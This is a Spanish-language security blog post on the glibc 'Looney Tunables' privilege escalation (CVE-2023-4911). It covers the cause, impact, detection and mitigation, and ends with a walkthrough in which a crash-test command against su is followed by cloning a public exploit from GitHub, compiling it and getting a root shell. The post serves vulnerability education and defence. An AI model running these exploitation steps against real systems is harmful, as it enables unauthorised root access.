cd ~/blog

~/vulns/looney-tunables-cve-2023-4911.md

Looney Tunables (CVE-2023-4911)

privesc 18-06-2026
privescglibcLinuxBOF

~2 min de lectura


1. Descripción técnica del ataque

Looney Tunables (CVE-2023-4911) es un desbordamiento de búfer en el cargador dinámico de glibc (ld.so), concretamente en el procesamiento de la variable de entorno GLIBC_TUNABLES. Esta variable permite ajustar parámetros internos de glibc (por ejemplo del allocator) en tiempo de ejecución.

El parser de GLIBC_TUNABLES maneja incorrectamente una secuencia tunable=tunable=valor duplicada, copiando datos a un búfer del stack sin validar su tamaño. Como ld.so se ejecuta al lanzar cualquier binario SUID (procesa el entorno antes de descartar privilegios), un atacante local puede crear un GLIBC_TUNABLES malicioso que, al ejecutar un binario SUID como su, sobrescribe el stack y logra ejecución de código como root.

Es una escalada de privilegios local (no remota): requiere acceso previo a una shell sin privilegios.

2. Impacto de la vulnerabilidad

  • Escalada de privilegios a root en sistemas con la glibc vulnerable.
  • Afecta a distribuciones muy extendidas en sus versiones de 2023 (Fedora, Ubuntu, Debian, etc.) con glibc 2.34–2.38.
  • Explotación fiable y con PoCs públicas, lo que la hizo muy popular en CTFs y pentesting tras su publicación.

3. Historia y evolución

  • Descubierta por el equipo de investigación de Qualys y publicada en octubre de 2023.
  • El nombre "Looney Tunables" juega con la palabra tunables.
  • Rápidamente aparecieron exploits públicos (p. ej. el de hadrian3689 en GitHub) que generan una libc maliciosa y un binario que dispara el overflow.

4. Factores que la hacen posible

  1. Una versión vulnerable de glibc (2.34 a 2.38 sin parchear).
  2. Presencia de binarios SUID que invocan ld.so con el entorno controlado (cualquiera sirve, p. ej. su, sudo, mount).
  3. Acceso local como usuario sin privilegios.

5. Detección

  • Comprobación rápida (un binario SUID con un GLIBC_TUNABLES malformado provoca un crash en versiones vulnerables):
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=$(printf '%08192x' 1)" /usr/bin/su --help
# Segmentation fault (core dumped)  → probablemente vulnerable
  • Verificar la versión de glibc:
ldd --version

6. Mitigación

  1. Actualizar glibc a una versión parcheada (la solución definitiva).
  2. Como mitigación temporal, se puede usar una política de SystemTap que bloquee la ejecución de SUID con GLIBC_TUNABLES en el entorno.
  3. Reducir el número de binarios SUID innecesarios.

7. Ejemplo de explotación real

Confirmamos la vulnerabilidad y usamos un exploit público que genera una libc maliciosa y compila el disparador:

angela@pipy:/tmp$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

angela@pipy:/tmp$ git clone https://github.com/hadrian3689/looney-tunables-CVE-2023-4911.git
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ python3 libc.py
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ gcc exp.c -o exp
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ ./exp
# (tras varios intentos)
root@pipy:/tmp#

8. Clasificación

  • Tipo: Buffer Overflow → Local Privilege Escalation
  • CVE: CVE-2023-4911
  • CWE:
    • CWE-787 – Out-of-bounds Write
    • CWE-122 – Heap-based Buffer Overflow (variante de stack en el dynamic loader)

9. Resumen

Looney Tunables (CVE-2023-4911) es un desbordamiento en el procesamiento de GLIBC_TUNABLES por el cargador dinámico de glibc, explotable mediante cualquier binario SUID para escalar a root localmente. Publicada por Qualys en 2023, tiene exploits públicos fiables. La defensa es actualizar glibc. Es un vector de escalada local frecuente, comparable a otros desbordamientos como BOF (Buffer Overflow) x86.

// relacionados